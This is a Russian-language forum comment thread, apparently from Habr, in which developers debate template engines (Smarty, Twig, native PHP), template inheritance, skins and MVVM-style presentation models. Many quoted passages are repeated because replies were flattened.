С тайтлом все просто. Есть «коробка» по отрисовке тайтла. Она на вход не принимает готовый html, только данные. Достаточно каждому модулю накидать данных по пути исполнения кода, и шаблонизатор отрисует их по собственному алгоритму. Это, я считаю, лучше, чем размазывание разных декоративных стилей оформления тайтла по многим сотням шаблонов.
Без оного можно сделать. Но одна проблема:
Дизайнеру (верстальщику) проще работать с единой html страницей. Ну то есть от <html> и до </html>. При этом, желательно, чтобы дизайнер не пересекался с кодом приложения, и чтобы никакой html не оказывался вне директории шаблонов.
Наследование — идеальное решение для этого. Создаём некий base.html, в котором базовый каркас (от <html> и до </html>), а потом для отличающихся дизайном страниц, создаём всякие page.html, catalogue.html, catalogue_item.html и так далее.
Всё, что нужно для каждого конкретного типа шаблонов находится в отдельных файлах (а не разбросано по десятку маленьких файлов, как это получается в случае с include). Файлов получается меньше, распределены они логичнее, работать с ними проще.
Дизайнеру (верстальщику) проще работать с единой html страницей. Ну то есть от <html> и до </html>. При этом, желательно, чтобы дизайнер не пересекался с кодом приложения, и чтобы никакой html не оказывался вне директории шаблонов.
Наследование — идеальное решение для этого. Создаём некий base.html, в котором базовый каркас (от <html> и до </html>), а потом для отличающихся дизайном страниц, создаём всякие page.html, catalogue.html, catalogue_item.html и так далее.
Всё, что нужно для каждого конкретного типа шаблонов находится в отдельных файлах (а не разбросано по десятку маленьких файлов, как это получается в случае с include). Файлов получается меньше, распределены они логичнее, работать с ними проще.
Это ООП подход. Он имеет место быть. Но он и негативен в определенных ситуациях.
Кусочечность дает хорошую повторяемость кода. Допустим, есть блок с табами. Изначально он имел одинаковую структуру. Потом, для пары случаев, сделали несколько исключительных изменений и поменяли структуру и обслуживающий код. Через время получается большая фрагментация кода. Править придется во многих местах, можно что-то пропустить, что-то забыть исправить.
В моих проектах вообще все по-другому сделано. Каждому модулю — локальные темплейны. Никаких пересечений и зависимостей от других модулей или темплейтов.
Кусочечность дает хорошую повторяемость кода. Допустим, есть блок с табами. Изначально он имел одинаковую структуру. Потом, для пары случаев, сделали несколько исключительных изменений и поменяли структуру и обслуживающий код. Через время получается большая фрагментация кода. Править придется во многих местах, можно что-то пропустить, что-то забыть исправить.
В моих проектах вообще все по-другому сделано. Каждому модулю — локальные темплейны. Никаких пересечений и зависимостей от других модулей или темплейтов.
Такой подход губителен в крупных проектах. Написание скинов превращается в кровавую оргию с копипастом. Да и в небольших проектах аккуратное точечное применение фрагментации позволяет упростить жизнь.
Скины в крупных проектах? Простите, а кому она нафиг нужны? Людям работать нужно, а не играться с внешним видом.
Копипаст может оказаться дешевле, чем сложноуловимый огород зависимостей, непонятно откуда берущихся данных и километровых перекрытий.
Хотя, может я предвзято отношусь, нужно посмотреть на самые удачные реализации наследования шаблонов.
Копипаст может оказаться дешевле, чем сложноуловимый огород зависимостей, непонятно откуда берущихся данных и километровых перекрытий.
Хотя, может я предвзято отношусь, нужно посмотреть на самые удачные реализации наследования шаблонов.
Ещё как нужны, причём именно наследуемые. Игра с внешним видом — это же основы маркетинга! В интернет-магазинах бывают различные акции и «сезоны скидок», бывают различные рекламные кампании — всё это требует оперативного переключения внешнего вида сайта (и, что ещё важнее — оперативной разработки оного!) Не следует понимать «скин» исключительно как возможность «поменять в личных настройках цвет форума с синенького на зелененький».
Пожалуй, таки да, предвзято относитесь :) Но проблема действительно сложная. Хоть шаблон и программа, но способа добиться внятного полиморфизма от этой программы в общем-то нет…
Пожалуй, таки да, предвзято относитесь :) Но проблема действительно сложная. Хоть шаблон и программа, но способа добиться внятного полиморфизма от этой программы в общем-то нет…
Вы знаете, у нас немного разные понятия крупных проектов. Я беру веб-ориентированные продукты для корпоративного сектора. Там объемы не сравнимы с форумом и магазином.
Пиписьками будем меряться или дело обсуждать? Даже онлайн-магазин — достаточно крупный проект, чтобы ощутить удушение копипаста в шаблонах.
Я не в качестве пиписькомера приводил пример, а в качестве факта наличия разницы между пониманием значений слов.
Потому что разные объемы порождают разные проблемы. Что хорошо для интернет магазина может быть совершенно не актуально для систем управления или корпоративного ПО. И наоборот. Что безумно важно для корпоративного ПО — бестолково применять в магазинах. Магазины ориентированы на продажи, которые делаются при помощи маркетинговых фишек, удобства пользования, информативности витрин, скорости работы. Скины важны для магазина. А ПО по управлению внутренним документооборотом должно быть унифицированным в качестве интерфейсов, максимально эффективно использовать рабочее пространство, быть максимально модульным, высокопроизводительным в плане скорости работы оператора с системой. И тут уже копипаст шаблонов или скины ну как-то совершенно вторичны. Скорость разработки логики модуля может быть в разы дороже по времени, чем ручная пересборка или правка шаблонов. Так что для каждой проблемы нужно искать самое эффективное решение
Потому что разные объемы порождают разные проблемы. Что хорошо для интернет магазина может быть совершенно не актуально для систем управления или корпоративного ПО. И наоборот. Что безумно важно для корпоративного ПО — бестолково применять в магазинах. Магазины ориентированы на продажи, которые делаются при помощи маркетинговых фишек, удобства пользования, информативности витрин, скорости работы. Скины важны для магазина. А ПО по управлению внутренним документооборотом должно быть унифицированным в качестве интерфейсов, максимально эффективно использовать рабочее пространство, быть максимально модульным, высокопроизводительным в плане скорости работы оператора с системой. И тут уже копипаст шаблонов или скины ну как-то совершенно вторичны. Скорость разработки логики модуля может быть в разы дороже по времени, чем ручная пересборка или правка шаблонов. Так что для каждой проблемы нужно искать самое эффективное решение
Вы забыли макросы, макросы!
Переходите, не пожалеете.
Забавно, у меня имел место обратный процесс :) Я много лет был апологетом Smarty, а сейчас предпочитаю обходиться без него, а в качестве плюшек — ZF-овские view helpers. Да, синтаксис не слишком удобный, но зато на порядок меньше оверхеда при большей гибкости. Шаблонизатор отлично изолирует логику представления, но я в какой-то момент поймал себя на том, что зачастую эта изоляция дороговато обходится. Например, внедрять все хелперы в Smarty в качестве плагинов — дикий головняк, практической пользы от которого очень мало, если не отдавать проект на растерзание заведомым говнокодерам.
Смарти коварен, так и хочется в него перенести исполняемый код. Но надо стучать себя по рукам. :)
Вы про {php}? Там же его запретить можно, что и надо делать первым делом. А исполняемый код пусть в плагинах живет.
Другое дело, что интеграция с фреймворками идёт гладко ровно до тех пор, пока работа шаблона ограничивается выводом переменных. Как только идём дальше (например, хотим использовать хелпер url в ZF для генерации URL) — начинается адский оверхед, каждому хелперу нужен прокси-плагин.
Другое дело, что интеграция с фреймворками идёт гладко ровно до тех пор, пока работа шаблона ограничивается выводом переменных. Как только идём дальше (например, хотим использовать хелпер url в ZF для генерации URL) — начинается адский оверхед, каждому хелперу нужен прокси-плагин.
Нет, я про модификаторы и функции, которые можно писать самому. Иногда доходит до таких вариантов
{get_data from=«table_name» where=«a='1' AND b='2'» assign=«res»}
:)
или вот до таких
{«select * from 'table_name'»|sql_exec:«res»}
Лень писать логику отдельно, представление отдельно, приводит разработчика к весьма «прикольным» реализациям
{get_data from=«table_name» where=«a='1' AND b='2'» assign=«res»}
:)
или вот до таких
{«select * from 'table_name'»|sql_exec:«res»}
Лень писать логику отдельно, представление отдельно, приводит разработчика к весьма «прикольным» реализациям
Попробуйте twig :) Внедрение отдельного хелпера — одна строка, а если хелперы не проектноспецифичны (как в случае с фреймворками/библиотеками), то расширение twig это ещё несколько инфраструктурных строк. Относительно сложно только тэги новые вводить, а функции, фильтры и т. п. элементарно.
Сложилось впечатление, что автор никогда не работал на больших проектах, в команде и в энтерпрайзе, со всеми его проблемами и бардаком.
1.1. ООП неэффективно только в совсем уж коротких скриптиках. По поводу производительности и серверных приложений вообще чушь какая-то. Время разработчиков стоит СИЛЬНО больше железа, соответственно, тратить его на разгребании вермишели…
1.2. Чушь. Вы не понимаете для чего нужно наследование.
1.3. У вас странные представления о «крутом» коде и о паттернах. Крутой код — тот который легко читать, в котором легко разобраться и, который ЛЕГКО расширять.
1.4. А как же принцип разделения логики и представления? Не являюсь пхп-программистом, но логика внутри шаблона — это же ужасно с точки зрения читабельности.
1.5. Если библиотека спроектирована правильно и выполняет задачи с заданными требованиями и ограничениями нет никакого смысла лезть внутрь, кроме случаев когда ее нужно расширять. Достаточно интерфейса. Если это фреймворк (а фреймворк — это НЕ библиотека) — то разработка под ним как раз и осуществляется за счет его расширения, соответственно, и знать его изнутри НАДО.
2-3. Да, согласен.
4. Выделять можно и НУЖНО. Опять же в целях читабельности, расширяемости и так далее.
5. Почти согласен. Но нужно учитывать что большинство систем все-таки живет постоянно развиваясь. Решая задачи нужно стараться оставлять возможность для расширения.
6. К сожалению, этот пункт слабо относится к содержанию статьи и выглядит как попытка оправдать свое мнение.
7. Чушь, кроме случая плохо спроектированной системы, развитие которой приводит к вермишелеобразности. Лечится живительным рефакторингом.
1.1. ООП неэффективно только в совсем уж коротких скриптиках. По поводу производительности и серверных приложений вообще чушь какая-то. Время разработчиков стоит СИЛЬНО больше железа, соответственно, тратить его на разгребании вермишели…
1.2. Чушь. Вы не понимаете для чего нужно наследование.
1.3. У вас странные представления о «крутом» коде и о паттернах. Крутой код — тот который легко читать, в котором легко разобраться и, который ЛЕГКО расширять.
1.4. А как же принцип разделения логики и представления? Не являюсь пхп-программистом, но логика внутри шаблона — это же ужасно с точки зрения читабельности.
1.5. Если библиотека спроектирована правильно и выполняет задачи с заданными требованиями и ограничениями нет никакого смысла лезть внутрь, кроме случаев когда ее нужно расширять. Достаточно интерфейса. Если это фреймворк (а фреймворк — это НЕ библиотека) — то разработка под ним как раз и осуществляется за счет его расширения, соответственно, и знать его изнутри НАДО.
2-3. Да, согласен.
4. Выделять можно и НУЖНО. Опять же в целях читабельности, расширяемости и так далее.
5. Почти согласен. Но нужно учитывать что большинство систем все-таки живет постоянно развиваясь. Решая задачи нужно стараться оставлять возможность для расширения.
6. К сожалению, этот пункт слабо относится к содержанию статьи и выглядит как попытка оправдать свое мнение.
7. Чушь, кроме случая плохо спроектированной системы, развитие которой приводит к вермишелеобразности. Лечится живительным рефакторингом.
Респект.
Насчёт 1.4 — тут такая фишка: шаблон — это тоже программа. Даже голый HTML является программой отображения страницы в браузере. В шаблонах голый HTML разбавлен дополнительными инструкциями, формирующими — сюрприз! — логику представления. Естественно, эта логика решает задачи типа «вывести в таблице список значений», а не делает SQL-запросы к базе. PHP для этого вполне подходит, другое дело, что такой подход требует определённой дисциплины.
Насчёт 1.4 — тут такая фишка: шаблон — это тоже программа. Даже голый HTML является программой отображения страницы в браузере. В шаблонах голый HTML разбавлен дополнительными инструкциями, формирующими — сюрприз! — логику представления. Естественно, эта логика решает задачи типа «вывести в таблице список значений», а не делает SQL-запросы к базе. PHP для этого вполне подходит, другое дело, что такой подход требует определённой дисциплины.
>PHP для этого вполне подходит, другое дело, что такой подход требует определённой дисциплины.
Зачастую использование PHP в качестве шаблонизатора противоречит 3-му пункту статьи
Как ни странно, но язык, создаваемый когда-то в качестве шаблонизатора и переросший через язык серверного веб-программирования в язык общего назначения («де-юре», как минимум), для использования в качестве шаблонизатора подходит теперь хуже, чем узкоспециализированные шаблонизаторы. С другой стороны, и для другой логики, кроме логики отображения/представления он не идеален, особенно если рассматривать не голый язык со стандартными библиотеками, а всю «экосистему». Явное преимущество PHP нынче, имхо, это «унаследованная» и «самоподдерживаемая» популярность его самого, продуктов написанных на нём (CMS прежде всего) и предложений хостеров, то есть по сути преимущество только маркетинговое, раскрученный бренд даже среди людей мало связанных с вебом.
Зачастую использование PHP в качестве шаблонизатора противоречит 3-му пункту статьи
3. Неуместное и не адекватное использования инструментов встречается чаще, чем плохие инструменты.
У каждого языка и технологии есть круг задач, для которых он подходит как нельзя лучше, а для других задач наверняка есть свои адекватные средства решения.
Как ни странно, но язык, создаваемый когда-то в качестве шаблонизатора и переросший через язык серверного веб-программирования в язык общего назначения («де-юре», как минимум), для использования в качестве шаблонизатора подходит теперь хуже, чем узкоспециализированные шаблонизаторы. С другой стороны, и для другой логики, кроме логики отображения/представления он не идеален, особенно если рассматривать не голый язык со стандартными библиотеками, а всю «экосистему». Явное преимущество PHP нынче, имхо, это «унаследованная» и «самоподдерживаемая» популярность его самого, продуктов написанных на нём (CMS прежде всего) и предложений хостеров, то есть по сути преимущество только маркетинговое, раскрученный бренд даже среди людей мало связанных с вебом.
Шаблнизаторы — не панацея. Я много лет работал со Smarty и другими шаблонизаторами, потом вернулся к нативной шаблонизации. Не хотелось бы начинать холивар ради холивара, есть преимущества у обоих подходов, в том числе и множество преимуществ у нативной шаблонизации. Единственный безусловный минус — verbosity, это действительно раздражает.
Насчёт множества преимуществ — я три насчитал:
— скорость — безусловно, но вот практически её влияние не всегда заметно
— «чистота» — отсутствие необходимости что-то подключать, что-то изучать и т. п.
— гибкость — все возможности языка к вашим услугам без лишнего оверхида, но даже тут ограничения: синтаксис языка расширить не получится, например ввести для цикла ветвь для пустого цикла нельзя
Недостатки:
— громоздкость — вы это verbosity назвали
— небезопасность — обратное следствие гибкости, разработчику шаблона доступны все данные приложения, а то и сервера, плюс нет автоэкранирования
— необходимость самодисциплины — тоже обратное следствие гибкости, запихнуть в шаблон получение, а то и изменение данных БД никто не мешает
— отсутствие «из коробки» удобных фич типа наследования шаблонов и того же автоэкранирования
А так, конечно, не панацея и надо выбирать критичность для проекта плюсов и минусов разных подходов. Но, как мне кажется, для большинства проектов скорость и гибкость шаблонизации не так важны, как безопасность и удобство.
— скорость — безусловно, но вот практически её влияние не всегда заметно
— «чистота» — отсутствие необходимости что-то подключать, что-то изучать и т. п.
— гибкость — все возможности языка к вашим услугам без лишнего оверхида, но даже тут ограничения: синтаксис языка расширить не получится, например ввести для цикла ветвь для пустого цикла нельзя
Недостатки:
— громоздкость — вы это verbosity назвали
— небезопасность — обратное следствие гибкости, разработчику шаблона доступны все данные приложения, а то и сервера, плюс нет автоэкранирования
— необходимость самодисциплины — тоже обратное следствие гибкости, запихнуть в шаблон получение, а то и изменение данных БД никто не мешает
— отсутствие «из коробки» удобных фич типа наследования шаблонов и того же автоэкранирования
А так, конечно, не панацея и надо выбирать критичность для проекта плюсов и минусов разных подходов. Но, как мне кажется, для большинства проектов скорость и гибкость шаблонизации не так важны, как безопасность и удобство.
Согласен.
Но вот если использовать не MVC, а немного более прогрессивный MVVM, то вся логика представления (кроме разве что итераторных циклов) внезапно оказывается там где ей и положено быть — в контроллере.
Но вот если использовать не MVC, а немного более прогрессивный MVVM, то вся логика представления (кроме разве что итераторных циклов) внезапно оказывается там где ей и положено быть — в контроллере.
Не нашёл примеров MVVM не завязанных на Microsoft, а с ними и половины не понял.
Разве в контроллере должен быть код вроде
?
Разве в контроллере должен быть код вроде
<? if ($a): ?>
<h1 class='normal'><?= $a ?></h1>
<? else: ?>
<div class='error'>Empty!!!</div>
<? endif ?>
?
У Фаулера он зовется «Presentation Model» — martinfowler.com/eaaDev/PresentationModel.html.
Грубо говоря — заводится так называемая «Модель представления» (может быть и неким конвертером из обычной модели с логикой, но обычно тупо класс с набором полей или даже просто словарь), которая заполняется в контроллере. В шаблоне логики нет, только подстановка полей из модели представления в нужные места.
Собственно, на самом деле, многие MVC-фреймворки на деле не MVC, а именно MVVM.
Грубо говоря — заводится так называемая «Модель представления» (может быть и неким конвертером из обычной модели с логикой, но обычно тупо класс с набором полей или даже просто словарь), которая заполняется в контроллере. В шаблоне логики нет, только подстановка полей из модели представления в нужные места.
Собственно, на самом деле, многие MVC-фреймворки на деле не MVC, а именно MVVM.
Ну да, что-то похожее и используется по факту часто — во вью/шаблон передаётся какая-то структура данных и больше ни к чему они доступ не имеют (другое дело, что часто передаются объекты модели непосредственно, как элемент словаря). Но вот полное отсутствие логики в шаблоне как-то смущает. Где определять какой блок/контрол/тэг/«виджет» (h1 или div в примере выше) выводить в зависимости от данных, как не в шаблоне? Можно, конечно, сделать как часто поступают в десктопных GUI, «нарисованных» в редакторах форм — выводить оба, но одному из них (вернее соответствующему полю ViewModel) прямо в контроллере присваивать состояние visible/hide, но для веба, по-моему, это неприемлемо на типичных страницах (где ajaх используется для расширения функциональности отдельных контролов, но основой остаётся обычный http-цикл).
Браво!
Общественное помешательство на шаблонизаторах мне не вполне понятно, ведь большинство скриптовых веб-языков сами являются шаблонизаторами.Это же очевидно. Это последствия разделения труда. Шаблонизаторы проще в использовании для непрограммистов (верстальщиков).
Зарегистрируйтесь на Хабре, чтобы оставить комментарий
Эти бесчисленные парадигмы, концепции, инструменты и фреймворки